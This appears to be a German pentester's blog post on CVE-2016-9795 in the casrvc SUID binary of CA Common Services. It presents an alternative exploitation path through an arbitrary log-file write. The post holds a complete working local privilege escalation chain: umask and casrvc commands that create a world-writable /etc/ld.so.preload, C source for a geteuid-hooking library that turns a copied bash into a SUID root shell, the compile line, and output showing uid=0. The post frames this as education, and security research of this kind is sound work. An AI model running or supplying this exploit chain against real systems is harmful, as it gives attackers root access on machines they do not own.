
Überarbeitete CVE-2016-9795 Privilege Escalation (casrvc-Binärdatei aus der CA Common Services Suite)
Bei einem meiner Pentests stieß ich auf die casrvc SUID-Binärdatei (die Teil der CA Common Services Suite ist). Wie ich herausfand, ist die Binärdatei anfällig für lokale Privilegieneskalation. Tatsächlich wurde dieser Schwachstelle von der NCC Group bereits eine öffentliche CVE (CVE-2016-9795) zugewiesen. Die Schwachstelle ist wirklich trivial, und wie ich später erfuhr, veröffentlichte die NCC Group einen Proof-of-Concept in ihrem PDF-Advisory (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). Dennoch entschied ich mich während meines Pentest-Einsatzes für einen anderen Exploitation-Pfad, der zunächst eine praktikable Alternative darstellt und möglicherweise weniger riskant ist, wenn er korrekt ausgeführt wird.
Die Schwachstelle liegt in der casrvc SUID-Binärdatei, die eine Funktion bereitstellt, die es dem Benutzer erlaubt, den Dateinamen (und den absoluten Pfad) zu wählen, in den Logs geschrieben werden. Ein Teil dieser Logdatei wird vom Benutzer kontrolliert, sodass der unprivilegierte Benutzer letztendlich einen mehr oder weniger kontrollierten beliebigen Schreibzugriff erhält.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
Der bereits existierende PoC hängt einfach die Logausgabe an die Datei /etc/passwd an, um einen weiteren Benutzereintrag in der root-Gruppe hinzuzufügen. Das Anhängen von Inhalten an /etc/passwd kann manchmal riskant sein, und in meinem Fall wollte ich um jeden Preis vermeiden, den Server zum Absturz zu bringen.
Die Exploitation-Technik ist nicht neu und wurde von vielen anderen Forschern behandelt (einschließlich @dawid_golunski, @itm4n). Sie ist auf diese Binärdatei anwendbar, und ich spreche hier darüber zu Bildungszwecken.
Es besteht darin, die Datei /etc/ld.so.preload zu erweitern oder zu erstellen. Diese Datei ermöglicht es, wie im Linux-Handbuch man ld.so beschrieben, eine Liste von Bibliotheksnamen (einer pro Zeile) zu definieren, die jedes Mal geladen werden, wenn eine Binärdatei gestartet wird.
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
Die Besonderheit dieser Datei ist, dass die vorgeladenen Bibliotheken für JEDES auf dem System ausgeführte Programm geladen werden, einschließlich SUID-Programmen. Dies ist natürlich nicht der Fall für die Umgebungsvariable "LD_PRELOAD", die von jedem Benutzer gesetzt werden kann, um Bibliotheken im Kontext ihrer Sitzung vorzuladen.
Um den Inhalt der erstellten Datei vollständig zu kontrollieren, verwenden wir den Befehl umask, um die Dateimodus-Erstellungsmaske zu setzen. Auf diese Weise hat die Logdatei beim Erstellen Lese- und Schreibrechte für alle.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
Wir versuchen, den Inhalt der Datei ziemlich schnell zu löschen, da der Inhalt nach dem Ausführen der casrvc-Binärdatei keine gültigen .so-Bibliotheken enthält und jedes Mal Fehlermeldungen erzeugt, wenn ein Programm auf dem Computer gestartet wird.
In unserem Fall funktioniert der Trick mit umask. Manchmal setzen ausführbare Dateien jedoch selbst den umask-Wert, in welchem Fall unser umask-Wert überschrieben und ignoriert wird.
Als nächstes erstellen wir eine .so-Datei. Folgendes ist der Quellcode für diese .so-Datei. Sie tut drei Dinge:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Um sie zu kompilieren, führen wir einfach aus
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
In den vorherigen Befehlen gehen wir davon aus, dass die Partition /tmp weder mit NOEXEC noch mit NOSUID eingehängt ist.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)